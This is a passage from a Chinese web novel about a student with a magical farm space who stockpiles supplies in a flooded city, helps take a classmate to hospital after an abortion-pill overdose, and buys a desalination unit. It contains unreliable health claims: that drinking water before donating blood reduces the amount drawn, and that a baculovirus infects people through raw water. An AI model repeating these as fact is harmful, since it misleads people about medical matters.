有胆大的女生凑了过去，拨开女生脸上的头发：“是裴欣！” 联想到裴欣最近的八卦，看到她现在的惨状，秦小薇心里顿时有了些不好的猜测。 她、她该不会是在宿舍流产了吧？！ 看到裴欣这个样子，周围的学生都吓得不行，打急救电话、联系辅导员……众人把能想到的都做了。 她们在裴欣的桌上发现了一盒人流药，盒子已经拆开了，里面的药已经吃完了。 因为裴欣总是在宿舍里情绪失控，她的舍友都很烦她，周五的晚上就去外面住了，现在宿舍里就只有她一个人，她出了事找不到人求救，才会爬出宿舍找路过的女生求助。 裴欣一直昏迷着，怎么叫都叫不醒，脸色苍白，身下一直在出血，看起来非常惨烈，宿舍楼里这些没有生育经验的女孩都被这一幕吓得不行。 知道有学生在宿舍流产大出血，还不等救护车过来，她们辅导员就找学院的老师借了车，要送裴欣去医院。 她们辅导员一个人搬不动裴欣，见秦小薇的身高在一众女生中特别显眼，就叫了她和另外两个女生帮忙搬裴欣。 人命关天，秦小薇这个时候也没有推辞，直接上手搬人。 一行人先去了校医院，校医院的医生给裴欣做了检查后，确认她是过量服用了人流药后导致大出血，必须马上做手术。 但校医院医疗条件有限，只能治疗些小病小痛，连血库都没有，做不了手术，得把裴欣转移去更大的医院。 校医院的医生给裴欣做了些简单处理，就把人挪到了救护车上，转移去上级医院。 医生让辅导员跟着，到时候得帮忙签字付费什么的，她们辅导员还是个在读研究生，没有处理这种事的经验，担心一个人不够，顺道把秦小薇几人也带上了。 救护车上，众人看着闭眼躺着的裴欣都没说话，气氛一时有些凝滞。 秦小薇想到了对裴欣的初印象，害羞、腼腆、有点小可爱，还养了只让人很有安全感的大狗……再看看现在躺在床上面色苍白如纸、满脸憔悴，瘦了一大圈的人，只觉得恋爱这东西简直有毒。 要远离渣男啊！ 车上的气氛实在是太沉闷了，秦小薇张了张嘴，开口打破了沉默：“导员，您联系裴欣的父母了吗？” 辅导员点头，满脸疲惫：“联系了，但她的父母都在外地，一时半会赶不过来……他们暂时把事情托给我处理了。” 秦小薇：“……” 救护车的速度很快，没多久就赶到了附近的大型医院。 因为是下级医院用救护车送过来的病人，医院并没有拒收，裴欣刚下救护车就被送进了手术室。 辅导员帮忙交了钱后，秦小薇三人陪着她坐在手术室外的走 廊上等结果。 就算天已经黑了，但医院的急诊科依旧有很多人，有些是病人，有些是家属，有人哭得撕心裂肺，有人满脸疲惫。 每个人脸上的表情各不相同，唯一相同的是，几乎没人脸上带着笑容…… 四个人坐了没多久，就有护士过来通知她们，说血库的血不够，让她们去献血，否则裴欣术中用血可能不够。 秦小薇：“……”其实她以前就听说过这事，说在医院做手术要先献血，但是没想到会发生在自己身上。 她上辈子上大学的时候献过血，献完血之后好几个月，她上五楼都会喘得跟头牛似的，身体状况大不如前。 现在外面这种情况，献完血想买点东西补一补都做不到，她和裴欣非亲非故，真不想为她损害自己的身体！ 问了护士裴欣的血型之后，秦小薇在心里悄悄松了口气：“我是A型血，我不行。” 来的四个人里面，只有一个女生的血型符合，最后，她一个人去献了400CC血。 献血之前，秦小薇找护士要了个纸杯，去接了些温水递给那个要献血的女生，她把人拉到一边，悄声提醒她：“你多喝点水，听说献血之前多喝点水，可以稀释血液，少献点……” “好！”女生原本就不愿意献血，但这里就她一个人的血型符合，辅导员在边上盯着，又是涉及人命的大事，她不得不去，听秦小薇这么说，站在公共饮水机面前，“吨吨吨”一口气喝了好几杯。 可能是那几杯水起了作用，也可能是因为女生的身体状况原本就不错，献完血之后，她的状态看上去还不错。 裴欣的辅导员担心医院血库里的血真的不够用，收到护士的消息后就去另一边打电话了，动员班上的同学过来献血…… 虽然之前救人的时候大家挺积极的，但说到要献血，她们班上的女生瞬间哑火了。 现在网络发达，献血究竟有没有好处，大家心知肚明，而且现在学校食堂连米饭都要靠抢的，她们去献了血，想食补都没办法。 最后，只有几个男同学答应过来献200CC。 就这，还是他们辅导员在群里发火的结果…… 她们在手术室门口等了三个多小时，才等到护士通知她们病人抢救成功的消息。 裴欣做手术的时候，秦小薇就坐在手术室外面的走廊上玩手机，她第一次发现，自己的列表里竟然有这么多好友。 秦小薇坐在这儿的三个多小时，她的手机消息就没停过，不仅有女生还有同班的男同学，他们全都是来打探裴欣的消息的，还有人专门加她的好友打听八卦。 难怪宿舍楼的八卦会传得这么快，原来大家都这么喜欢吃瓜！ 不过想想也能理解，裴欣这次的八卦确实很劲爆，自己服用人流药大出血+大晚上爬出寝室被人当成女鬼，对那些没经历过什么事的学生来说，这似乎是小说里才会出现的情节，每一样拿出去都够她们讨论很久了…… 裴欣的情况比较危险，送过来的时候人已经快失血休克了，虽然最后人救回来了，但是她得在ICU住一晚才能转移到普通病房。 ICU病房里有专门的护士照料，她们进不去，几人商量了一下，最后裴欣的辅导员决定让其他人打车回家，她留下来等裴欣的情况稳定下来。 折腾了一晚上，时间已经快到晚上十一点了，秦小薇没有为一个不熟的同学熬大夜的奉献精神，见辅导员终于放人了，就和其他人一起打车回家了。 暴雨期间，很多车子都被淹了，现在宁市打车都要排队，她们等了大半个小时，才有司机接单，等秦小薇回到公寓的时候，已经快要凌晨了。 第37章 第37章囤货（双更合一）…… 周日早上被生物钟叫醒后,秦小薇因为前一天经历的事太多了，便想闭上眼睛继续补觉。 本来工作日就忙，周末就应该好好休息。 但七点半的时候,楼上又响起了电钻工作的声音。 她烦躁地踢了下被子,这栋楼的楼上楼下到底有多少家买了太阳能发电板啊？！ 她被吵得睡不着,只能爬起来洗漱吃早饭。 空间里的大鱼缸还没装满水，昨天因为一次接了好几桶水,还被送水车那的工作人员念叨了,秦小薇决定今天早中晚不同的时间段去接水，争取把鱼缸灌满。 毕竟跑上跑下接水真的很麻烦,她工作日的时候是真的没心情干这事…… 她能预感到，她想像以前一样在工作的时候天天摸鱼，得等全城的供水供电都恢复了。 提着水桶上楼的时候,秦小薇碰到了隔壁的李阿姨,对方手里还提着一大袋花生，秦小薇见她提得吃力，便主动帮了她一下。 她一手水桶,一手花生，提得稳稳当当。 李阿姨：“小秦,不用你帮忙,我自己可以的……哎，你这小姑娘，真有力气！” 秦小薇：“阿姨,你家的保镖呢？怎么让你一个人下来拿花生，现在外面不安全，您拿着这么大一袋吃的，很容易被抢的……” 李阿姨：“少爷这几天不住这边,他们几个跟去保护少爷了……东西都送到楼下了，我就下楼取一下，不会出事的，一楼还有保安呢！” 秦小薇：“您弄这么多花生，打算做什么好吃的啊？” 李阿姨：“一部分磨花生酱，我们家少爷和他朋友都喜欢吃我磨的，说外面买的没我做的香，等做好了我送一罐给你尝尝……还有一部分我给剥了做油炸花生米，小方他们喜欢吃……小秦，我跟你说，这花生可是个好东西啊！花生米可以吃，花生壳还能做肥料种菜……” 听到她最后一句话，秦小薇的脚步顿了一下，她知道因为蔬菜的供应问题，宁市很多人都开始在家里养鸡种菜，连带着原本销量平平的塑料盆都涨价了…… 但秦小薇一直以为，那都是普通人要考虑的事，像对面邻居这种有钱人，连涨水期间都有人隔三岔五开船给他们送最新鲜的食物，他们应该是没有食物方面的压力的。 没想到，李阿姨竟然也要考虑种菜的事，还是用花生壳这么接地气的方法！ 秦小薇：“李阿姨，你开玩笑的吧？你家这么有钱，想吃什么买不到，也要自己种？” 李阿姨叹了口气：“我也不想种，但我们少爷的朋友非让他种，之前一直拖着，这回他直接把种子肥料都送过来了……少爷就让我把阳台的花草铲了种菜，我只能照办，小秦，你不知道，那些花草我养了很久的，那阳台我打理得多漂亮啊！少爷说不要就不要了，我这心疼的呦……” 李阿姨说着，还拿出了手机，和秦小薇分享她手机里拍的照片。 秦小薇把脑袋伸过去看了一眼，对面一个阳台比她家整个公寓都大，阳台用透明的落地窗封起来了，采光非常好，里面的花草错落有致，看起来生机勃勃的，宛如一个都市小花园。 秦小薇可以想象，春天的时候，坐在里面喝茶吃点心，会有多惬意…… 秦小薇：“确实好看！” “哎，小秦，你养花吗？要不我送你几株吧！我原本还剩了几株，但少爷昨天说全铲了……” 比起外面需要精心养护的花花草草，秦小薇更喜欢空间里不需要打理的“装饰”盆栽。 秦小薇拒绝了李阿姨的好意，转而打听起她家都种了些什么，李阿姨倒是没有隐瞒，连每种蔬果是什么品种都说了，都是些耐寒耐旱、产量又大的蔬果，有些还是最近这一两年新研究出来的品种，想买到还得有专门的人脉。 和李阿姨聊完之后，秦小薇决定去淘点种子，把空间里已经积灰的种植工具利用起来。 同事天天在银行聊种菜的事，秦小薇听着并没有什么感觉，但看到对面把那么漂亮的花园铲了种菜，她就有点慌了。 有句话说得好，春江水暖鸭先知，像他们这种有钱人，消息渠道，总是会比她这种普通人多一些。 现在国内普通人的主食基本上都是能量饼干，这么大的供给量，肯定是很久以前就开始安排生产的，说明高层很 早就开始为暴雨做准备了。 现在李阿姨把家里的花铲了开始种菜自给自足，有可能是得到了什么不太好的消息，往糟糕了想，宁市现在这种情况可能会持续很久，说不定未来还会变得比现在还要糟糕……未来普通人说不定只能啃能量饼干充饥。 秦小薇连水都顾不得提了，到家后，她就坐在沙发上发散思维，甚至开始怀疑她穿越的这个世界是个末世世界！ 坐在沙发上思考了一会，她拿出一个笔记本，开始分析自己现在的财务情况。 她手上的现金加上银行卡里的存款，一共有二十三万多，其中有小半是涨水期间积攒的，当时收到的大多是现金，有八万多，因为宁市这边的供电还没完全恢复，用现金的情况很多，这笔现金她还没存进银行账户里。 公寓一个月的租金是一千三。 要是不出去买高价菜，情况没恢复前，她空间里出产的东西就可以解决她的一日三餐，就算每天买一包能量饼干掩人耳目，一个月也就一百五。 按照她之前的账单，水电恢复后水电费一个月一百五就可以解决。 一些杂七杂八的生活用品、生活开销、人情往来，加在一起每个月大概一千五。 这些加起来大概三千，银行实习一个月的工资是一千八，在她不出去摆摊的情况下，她每个月都需要动用一部分存款维持生活开销。 秦小薇想了想，决定拿出十三万购买物资，放在空间里以防万一。 虽然现在的食物很贵，但一些生活用品的物价还是正常的，去医院看病、去商场买衣服、交房租，都要用钱，把所有的钱都拿来囤货肯定不行。 再一个，存款中有十几万是她节假日、寒暑假辛苦摆摊赚的，要是买回来的物资最后没用上，她会很心痛的！ 至于要囤哪些物资，秦小薇上网查了一下，才在笔记本上一一列下。 脱壳机、磨粉机之类的机器肯定不能少，等农场等级高了以后，是会解锁水稻的，但黑土地里收上来的水稻和小麦都是带壳的，放进工坊以后会直接变成各种食品。 秦小薇想用它们煮饭、做面食，就得自己想办法把它们变成大米、面粉。 现在食物很难买，但生活用品并不难买，卫生纸、卫生巾之类的生活用品，也得囤一些，她再买几格仓库放这些东西，它们放在仓库里也不会过期，她可以慢慢用…… 一些防寒防暑的装备也可以准备起来，对面种的不少蔬果都是防寒耐旱的！ 还得再多准备一些水桶装水。 空间里的水都是海水，她上网查了下，自制装备蒸馏海水的效率太低，网上有海水淡化设备售卖，可以把海水过滤除盐除细菌变成直饮水，设备和他们学校宿舍的开水机差不多大，不过这种设备很贵，一套就要好几万。 要是以后什么蔬菜都买不到了，她肯定要多买点种子放空间里，水果还能用钓竿从海里钓出来，蔬菜可是真的得一级级升上去才能慢慢解锁…… 一通计划下来，秦小薇忽然发现自己好穷，又缺金币又缺钱。 她罗列在笔记本上的机器在网上就能下单，但现在物流停摆，下单后还不知道要等多久才能发货，秦小薇觉得还是同城交易比较靠谱。 一番搜索后，她在二手APP上找到了一个转卖农用机械的同城卖家，其中有几样她刚好就能用上。 一番交流后，秦小薇和对方约定好了下午面交。 她看了下时间，决定先出门囤一部分物资。 谁知她刚换好鞋子，一开门就看到三个室友站在门口，范槿抬着手，正准备敲门。 秦小薇有些惊讶：“你们怎么来了？” 范槿：“薇薇，我们来你这吃饭，顺便充个电，今天周末，教学楼的发电机关了，学校连个给手机充电的地方都找不到！” 肖琳琳：“薇薇，你快和我们说说，昨天你们在医院都发生了些什么？咦，你怎么换了鞋子，要出去吗？” 秦小薇看了下手机上的时间，顿时明白了，她们不是来吃饭的，是嫌弃昨天的瓜不够细节，来她家吃更细节的瓜外加给手机充电。 秦小薇点头：“要出去买点东西……你们先进来充电吧！我出去一下，中午回来再和你们说。” 之前涨水的时候室友们就频繁出入她的公寓，她在家一直很注意，家里摆放的东西都是特意布置过的，她对三个室友的人品也很放心，相信她们不会在她家乱翻。 段霞：“行，那我们自己找地方待着，你一个人出去安全吗？要不要我们陪你去？” 秦小薇：“不是买吃的，我一个人就可以，菜和米面你们知道在哪，要是我回来晚了，你们就先吃饭，给我留点就行了。” 范槿：“OKK。” 出门后，秦小薇找了个地方从空间里把她的电动三轮车弄了出来，才开始她的“采购”。 她骑着电动三轮车直奔红浦区，那边靠近发电厂，水电都恢复了，也是现在宁市最“繁华”的一片区域，那边不少店铺都开门了，批发市场还没开门，想采购去那边最合适。 那边有些小超市也开门了，只是食物只有能量饼干，剩下的就是各种生活用品和调味料。 秦小薇在后车斗盖了张挡雨的塑料布，每碰到一家店铺就进去买几箱东西，放到后车斗里，用塑料布盖着，等到了没人、没监控的地方再收进空间里。 网络支付容易留下痕迹，她买东西的时候，用的都是现金。 这边的药店也开门营业了，不过因为交通问题，感冒药和发烧药暴雨期间就被市政征用调走了，一直没补货，秦小薇便买了些其他的常用药。 比如说胃药、口腔溃疡药、膏药、高血压药…… 秦小薇跑了好几家店，货架上有的药都拿了一些，连枸杞都买了好几瓶。 她还买了好几个可以蓄水的大塑料桶，据说这东西现在在宁市很受欢迎，很多人都买回去当水缸用。 买完塑料桶后，秦小薇原本想带着塑料桶去河边取了水收进空间里。 她手里有净水片，往桶里扔几片净水片，水就能用了。 但现在宁市新鲜的蔬菜和肉难抢，周末河边挤满了没事干的钓鱼佬，大家都想钓点鱼回家开荤，她转了很久，都没找到一个没人的地方取水，秦小薇只能暂时放弃这个念头…… 等有时间去酒店开个房接自来水吧！ 连着跑了一上午，她在本子上列的大部分东西都买到了，只是数量都不多，秦小薇打算以后再继续补充。 她还买到了一直没发货的摄像头和一些防身工具。 一上午过去，她涨水期间收到的现金一下子少了两万多。 就是现在种子属于稀缺资源，她照着导航一连跑了好几家店，全都关门了，只能上网在同城APP上买几块钱一粒的“天价种子”。 收到室友催她回家吃饭的消息后，秦小薇带着两个储水的塑料桶回了公寓。 公寓附近的小偷小摸很多，她锁好车以后，还把二手电动三轮车里面的电瓶带上去了，免得被人偷了。 上楼前，她还从空间里拿了几个鱼竿钓上来的橙子放进背包里。 段霞给她开了门：“薇薇，你怎么买了两个这么大的塑料桶？” 秦小薇随手把水桶放进浴室里：“家里只有一个水桶，我住九楼，洗澡来回提水不方便，就出去买了两个回来装水……” 段霞：“确实有点不方便，等吃完了饭，我们帮你把水桶灌满！” 范槿帮她盛了米饭：“薇薇，你终于回来了，快来吃饭，顺便和我们聊聊昨天的细节！” 秦小薇：“……后半句才是重点吧？” 在外面跑了几个小时，她有点饿了，连着扒了大半碗饭才和室友们分享更细节的八卦。 秦小薇：“昨天刚送到第一医院的时候，我真的替裴欣的辅导员捏了把汗，因为一去医生就说，手术风险很大，要 是血止不住，可能要切子宫保命，还让她们导员签字……” “后来又说血库的血不够，让我们献血，因为我们四个里面只有一个人的血型附合，她们导员就疯狂打电话让班上的学生过来献血，我看她打电话的时候手都在抖……还好后来手术顺利，人救回来了，子宫也保住了。” “医生都说裴欣月份大了，吃药流不干净，要做手术才行，也不知道她是怎么弄到药的……她胆子可真大，竟然把一盒药都吃完了……” “……进医院可真花钱，昨天做手术前，她们导员就垫了两万，手术室里待了几个小时出来医生就说钱用光了，系统里开不出药，让我们继续交钱，然后他们导员又交了两万……听说住ICU一晚上就要好几千。” 肖琳琳：“摊上这样的学生，她们导员好惨……等她爸妈来了，应该会把钱还给辅导员吧，医保应该也能报销一些。” 秦小薇：“裴欣的爸妈说会让家里的侄子自驾送他们过来，今天可能会到。” 范槿：“对了，薇薇，你知不知道？今天男寝那边有人传出消息，说裴欣吃的药是她前男友托人帮她弄的。” 秦小薇没想到这事还有后续，震惊了：“真的假的？” 范槿：“不确定，但是男寝那边是这么传的，等裴欣醒了就知道了……要是真的，她爸妈肯定要找她前男友算账，听说裴欣还是独生女，家里好几个堂哥，都很宠她。” 秦小薇：“那这事肯定没完！” 不知道想到了什么，秦小薇忽然停下了筷子：“对了，我昨天在急诊看到好几个腹泻的病人，医生说是喝了生水感染了杆状病毒……你们喝水前一定要确定水是处理过的！” 范槿：“啊？宁市也有杆状病毒？咱们这不会和安市一样，要暴发传染病吧？” 秦小薇摇头：“生病的人应该不多，我上午去药店买治拉肚子的药，有些药店还能买到……别太紧张了，不要喝被污染过的水，应该就没事，网上都说这种病毒虽然厉害，但是做好防护就很难被传染到。” 段霞皱着眉分析道：“我觉得我们这不太可能和安市一样，宁市管得太严了，小超市、便利店都只进能量饼干，大批量的包装食品只能在通过检测后进那几家大超市，送水车里的水都是消过毒的，有些人接了水回家还会二次消毒，只要不作死去河里提水直接喝，应该就不会出事……” 范槿：“我让我爸买点药备着吧！顺便给我们也带点，真出了事没药就麻烦了……薇薇，你在哪里买的药？” 秦小薇回忆了一下上午去过的药店，然后报了个地址。 范槿：“红浦区？这么远？难怪你去了这么久才回来！” 秦小薇：“那边水电都恢复了，卖东西的商家比较多。” 肖琳琳：“那倒是，听说周末好多人去那边的酒店开房洗澡洗衣服，好多酒店都爆满！” 吃完中饭后，秦小薇把背包里几个橙子和室友们分了：“路上碰巧遇到，就买了几个，一人一个，今天你们做饭辛苦了！” 肖琳琳接过橙子，剥了皮之后就直接塞了一瓣进嘴里：“好甜啊！好好吃！我宣布，以后橙子就是我最喜欢的水果了！” 她满足地眯起眼睛。 秦小薇：“哪有那么夸张，是你太久没吃到水果了。” 吃完了饭，四人把秦小薇带回来的水桶刷干净，又轮流跑了好几趟，帮她把两个水桶灌满，才带着吃撑的胃，一本满足地回了学校宿舍——公寓楼上楼下都在安装太阳能发电板、改线路，实在是太吵了，她们充好电、吃完饭就待不下去了。 离下午的面交时间还有很久，送走了三个室友后，秦小薇进了空间，把今天买的东西整理了一下。 因为堆了很多东西，空间里有些乱，她在空间里找出一间空置的城堡，专门放置今天买到的生活物资。 秦小薇买的东西很杂，调和油、卫生纸、卫生巾、剪刀、不锈钢盆、老抽、醋……她觉得日常生活有可能用到，现在又能买到的东西，基本上都拿了一些。 她找了个大纸箱，把今天买到的药品全都塞了进去，放在仓库里。 其他的生活用品也有保质期，秦小薇也想收进仓库里，可它们数量太多了，放仓库里会占很多格子，只能等她多赚点金币解锁了更多的格子再说。 慢慢来吧！ 收拾完空间里的东西，秦小薇又把带回来的摄像头和声控灯安装在大门口。 她特地买了个高清款摄像头，连接手机后，她调试了一下角度，画面还算清晰，以后晚上要是有人敲门，她从摄像头里就能看到了。 做完这一切，离她和卖家约定的面交时间还有一个多小时，秦小薇算了下路程，拿上电瓶和空间里的移动电源，就出发了。 地方有些远，就算路上没有堵车，她依旧开了一个小时才到目的地。 周围都是被洪水肆虐过后的农田，秦小薇和卖家打了十几分钟电话，才顺着对方的指引找到地方。 卖家是个中年女人，机器就在她家院子里，她为秦小薇介绍道：“都在这了，这几台机器都是去年买的，我们平时用的时候也很爱惜，你拿回去就跟新的一样用！” 秦小薇看了看，机器确实很新，型号也和图片里一样。 她看向中年女人：“可以开机试一下吗？” 中年女人面色一僵：“我这没有电，试不了。” 第38章 第38章外出（双更合一）…… 秦小薇：“没事,我带了户外电源过来……” 中年女人还想阻止她：“姑娘，我这里也没有小麦，就算插上电你也试不了！你放心,我这机器肯定是好的,我们走平台交易,要是出了问题，你回来找我！” 秦小薇察觉到了不对,她冲着中年女人笑了下,坚持道：“没事，我就试试机器能不能正常开机……” 说着,她就把电动三轮车后车斗里的移动电源和插线板拿了下来，把磨粉机插上电。 秦小薇：“……大姐，这机器按了开关怎么没反应啊？” 中年女人：“啊？不可能吧！我看看……可能是有点接触不良,我再试试。” 秦小薇又试了其他几台机器,每台机器都“接触不良”，插上电源后根本没反应。 秦小薇抱着手臂站在一旁，看着中年女人满头大汗地“修理”机器,没忍住，开口戳穿了她的假动作：“你这机器根本就是坏的吧！” 中年女人心虚地不敢和她对视,却还是大声道：“怎么可能是坏的？这些机器都是去年才买的,和新的差不多！” 秦小薇没和她废话，收了移动电源和插线板，启动了电动三轮车,就离开了她家院子。 浪费她两个多小时！ 看来下次交易前，她得提前和卖家说好，她会带着移动电源过去验货，免得卖家拿一些被水泡过的坏机器敷衍她…… 到公寓楼下的时候,秦小薇去了趟便利店，刷身份证买了两袋能量饼干。 虽然能量饼干每人每天限购两袋，味道也一般，但它是现在唯一能轻松买到的食物，要是以后情况变得更差，囤一点似乎也没什么坏处。 反正也不贵！ 到家后，天已经快黑了，秦小薇进空间里做了份培根蛋炒饭，就着热气腾腾的牛奶解决了晚饭。 现在外面很难买到肉，除非是室友来她这做饭，其他时候，秦小薇要是做肉吃，都会在空间里开火。 毕竟油烟机一开，味 道就会飘出去，她又不是对面那种有钱人，家里天天吃肉，难免会惹人怀疑，说不定还会引来小偷。 她一个人住，还是低调点比较好。 吃完了晚饭，秦小薇想到前几天买回来的腻子粉还没用，就取出空间里的梯子，把阳台上已经被泡发的墙皮铲了下来，重新刷上腻子。 刷完了墙，秦小薇坐在沙发上休息的时候，忽然想到，她周五下班的时候，是打算周末在家休息两天的，但这个周末，事情一件接着一件，除了昨天下午，她白天就没停下来过…… 楼上楼下的电钻声依旧没停，秦小薇戴上了耳塞，打开笔记本，开始往下午买的硬盘里下载小说电视剧电影…… 电钻声一直响到晚上八点才停下来，这两天没睡好，电钻声停了之后，秦小薇就躺床上去了。 虽然前一天晚上睡得很香，但第二天起床后想到今天要在银行当一整天的社畜，她就从心底产生一股排斥，连带着精神都变得有些萎靡…… 和上周一样，秦小薇连着忙了一个上午，连喝水的时间都没有。 中午的时候，她在同城APP上联系了一个卖家，面交了几包蔬菜种子。 暴雨之前几块钱一包的种子，现在已经涨到几十、几百，甚至几千一包了。 这还是因为秦小薇买的是芋头、茄子、黄瓜这种种植周期比较长的蔬菜种子，比较“便宜”，几毛、一块就能买到一粒。 像是小白菜、白萝卜这种一个月左右就能收获的蔬菜种子，一颗种子就要两三块，一小包种子就得一千多。 市政一直在打击售卖“天价物资”的商家，但他们的重点一直放在食物上面，就算是举报有人倒卖种子赚差价，相关部门也不一定会管。 毕竟各种高价食物的案子就够他们忙的了…… 买完了种子，秦小薇又去了趟书店，买了几本种植相关的书。 等她逛完书店，就快到下午上班时间了，她只能骑着自行车回银行上班。 现在宁市就只有红浦区通水通电，也只有那边还有店铺晚上营业，为了方便收集物资，秦小薇晚上下班以后，干脆去红浦区的酒店开了间房。 酒店里有水有电，也方便她把鱼缸和塑料水桶都灌满水。 除了周三晚上，回公寓和室友们一起吃了顿饭，这周秦小薇基本上没回家，下了班就在外面搜罗各种物资。 经过一周的努力，除了海水淡化设备，其他的东西她基本上都买齐了，这周她还抽空逛了末世论坛，根据论坛上的内容在自己的购物清单上加了些东西。 她买的所有物资加在一起，花了差不多十万。 比她预想中多花了一万多，但她也能接受。 毕竟农场空间的工坊一直在生产东西，等宁市的治安变好了，她摆一段时间摊，这钱就能回来。 在购买物资的时候，秦小薇也碰到了一些波折，比如，在购买磨粉机这类农用设备的时候，她碰到了好几波骗子，对方试图用废旧的老设备或是被水泡过的设备以次充好…… 好在秦小薇提前做了功课，没被坑。 小麦是黑土地里最先解锁的农作物，生长时间最短，两小时就能收获一批，机器到手后，她就在空间里把能试的机器都试了试，还用磨出来的面粉蒸了馒头。 可能是因为农场空间出产的小麦品质格外优秀，也可能是她对自己的手艺有滤镜加成，秦小薇觉得，蒸出来的馒头比包子店卖的好吃多了。 宁市没有商家卖海水淡化设备，秦小薇想买，要么想办法去趟外地，要么等物流恢复了，在网上下单让商家寄过来。 秦小薇打算周末去趟外地，把海水淡化设备买了。 早买早安心，免得她一直想着这件事！ 虽然对面邻居铲花种菜的行为让秦小薇觉得宁市的情况会变得很糟糕，但事实却完全不是这样，这周宁市的情况比上周好了很多。 没受灾省市的新鲜蔬菜和包装食品运进了宁市，宁市开业的大型超市增加到了25家，现在市民们只要早上早点过去排队，就能买到菜，也不用再排一整夜的队了…… 靠近红浦区的三个区都恢复了供水供电，复工的人越来越多。 周三的时候，她还收到了一个涨水期间购买的快递，是从省内发出的，物流也有逐渐恢复的趋势。 银行的工作强度也有逐渐减轻的趋势，这周秦小薇碰到的奇葩客户一天比一天少。 不过工作变轻松之后，经理又开始留他们开会，催着他们营销、售卖各种理财产品…… 不过这些都和秦小薇无关，她不想转正，依旧只想混个盖了章的实习证明，照旧是和以往一样摆烂。 为了攒金币，机场的订单她几乎每天都做满十张，但农场里的金币很难攒，忙活了一周，攒的金币还不够她在仓库再买一个格子。 周五晚上，从银行开完会出来之后，秦小薇接到了范槿的电话。 范槿：“薇薇，上周买的菜还剩了一些在你家冰箱里，我们明天中午可以去你家吃饭吗？” 秦小薇：“我明天不在家，要去外地，要不我把钥匙给你们，你们自己来我家做饭？” 范槿：“这不太好吧？好不容易开个荤，总不能落下你一个人，那些菜还是我们一起抢的……薇薇，你什么时候回来？要不等你回来了我们再过去？” 秦小薇：其实除了中午那顿要啃能量饼干，她早餐、晚餐和夜宵都有肉。 秦小薇：“不确定，顺利的话明天晚上就能回来，不顺利的话，要周一才能回来。” 电话那头传来范槿和段霞她们说话的声音，片刻之后，范槿冲着秦小薇开口道：“薇薇，那等你回来再说吧！不行就下周再去你家打牙祭，薇薇，你到家后告诉我们一声。” 秦小薇：“好。” 她在网上联系了一个送货司机，坐对方的车去W省的云市买海水淡化设备，半夜两点多就要出发。 到家后，秦小薇随便吃了几个包子，收拾好背包，就上床睡觉了。 她第一次坐大卡车出远门，还是和陌生的司机一起……秦小薇担心会遇到危险，根本没打算在路上睡觉。 虽然她很确定自己就算遇到了意外也不会出事，但小心点总没错。 半夜一点的时候，秦小薇被闹钟叫醒，她去浴室洗了把脸，换了套方便活动的运动服，担心夜里太冷，她又在运动服外面套了件长风衣。 之后，秦小薇又检查了一下背包和仓库，确定防身装备都放在最顺手的地方，才拿出手机，一边玩游戏，一边等司机师傅的电话。 两点零五分的时候，司机的电话终于打过来了，司机说他快到了，让秦小薇下楼等他。 铁路运输还没有恢复，现在运送物资全靠货车、货船和飞机。 机票很难抢，秦小薇找票贩子帮忙用软件抢都没抢到，只能自己联系货车。 秦小薇坐的这趟车，就是专门从外地运送物资来宁市的，回去的时候空着车，司机就会接一些送货、送人的单子，多赚点钱。 秦小薇在网上看到司机发的“广告”，知道车子会路过云市，就联系了对方。 车上就司机一个人，后车厢里全是货，司机招呼秦小薇进了驾驶室坐在副驾驶座上。 司机应该常年以车为家，驾驶室里除了被子枕头之外，还有一些锅碗瓢盆，看起来非常乱，驾驶室的气味也不太好闻。 但秦小薇并没有露出嫌弃的表情，她神色如常地系好了安全带。 秦小薇：“师傅，您晚上不休息吗？” 司机：“天刚黑的时候，就找地方在车里睡了一觉，已经睡醒了……你要是困的话，可以睡一觉，我们明天中午才能到云市。” 秦小薇摇了摇头：“我晚上也补了觉，现在不困。” 很多路段都没有路灯， 就算凌晨路上没什么人，没上高速之前，卡车的车速也不快。 可能是因为一个人开夜车犯困，也可能是因为司机师傅原本就是个健谈的人，一路上，他都在和秦小薇聊天。 秦小薇好几次都想劝他专心开车，可他实在是太自来熟了，就算秦小薇不理他，他也能一个人自说自话。 从他开货车的经历聊到国家未来发展，从他女儿的中考成绩聊到他家房子的面积…… 坐了一路的车，秦小薇感觉自己把他的家底都摸清楚了。 当然，他也问了秦小薇一些比较私人的问题，她都打岔糊弄过去了。 早饭他们是在车上啃的能量饼干，高速路上的服务区和她家楼下的便利店一样，提供的食物就只有能量饼干。 噢，不对，这边还多了一样热水。 天亮后，秦小薇就在观察外面的景色，高速公路两旁的农田里几乎看不到什么作物——田里的作物不是被水泡烂了，就是被洪水带走了。 就连树木都有枯败死亡的迹象…… 连着坐了十个多小时的车，中午十二点多的时候，秦小薇终于踏上了云市的土地。 司机：“小姑娘，是在这停吗？” 秦小薇把剩下的车费付了：“对，我家就在边上，师傅，麻烦你了！” 为了避免麻烦，在司机面前，秦小薇给自己定的人设是回家探望生病爷爷的女大学生。 直到卡车彻底消失在她的视线里，她才悄悄松了口气。 这次运气不错，碰到的司机不是坏人。 除了车费贵了点，其他没什么毛病。 秦小薇下车的地方已经恢复了供水供电，路上看起来还算繁华，路边很多店铺都开门了，人来人往的。 这里距离她要去的科技公司并不远，她昨天就打过电话了，确定厂里今天一直有人。 她伸了个懒腰，活动了一下因为久坐而略显僵硬的身体，秦小薇在路边扫了辆电动车，跟着导航骑去了那家科技公司，这家公司占地面积很大，他们公司是专门生产大型净水设备的。 知道秦小薇的来意后，就算她只买一套设备，经理接待她的时候态度依旧非常热情。 机器都是新的，并没有被水泡过，秦小薇要求试机，对方也很利落地答应了。 她看中的这套机器比较小，优点是安装方便、便携，有一台电动三轮车就能拖走，缺点则是，效率比较“低”，和那些一天能淡化好几百吨的大型设备相比，她看中的这套设备工作一整天，只能淡化2吨海水。 但这对秦小薇来说，也足够用了。 秦小薇用杯子在出水口接了点水，凑到唇边轻轻抿了一口，片刻之后，她的眉头皱了起来。 和网上说的一样，处理过的海水确实没了那种又苦又咸的味道，但水里面有股淡淡的海腥味。 秦小薇看向经理：“水里面的味道能有办法除掉吗？” 经理摇了摇头：“目前的技术没办法做到……不过大部分人喝久了，也就习惯了！秦小姐，你要是实在不习惯，你就用这水洗澡洗菜，定期去岸上补充一点专门喝的淡水，船上配一台造水机，能解决很多问题的，你买回去绝对不会后悔……” “咱们家的机器绝对正规，处理好的水是可以直接喝的！我们都有检测报告的……” 似乎是为了证明自己说的话，他拿了个一次性纸杯，在出水口接了满满一杯水，“咕咚”两口灌了下去。 秦小薇：“……” 她垂眸思考了一会，还是决定买了。 毕竟她也没有更好地选择了！ 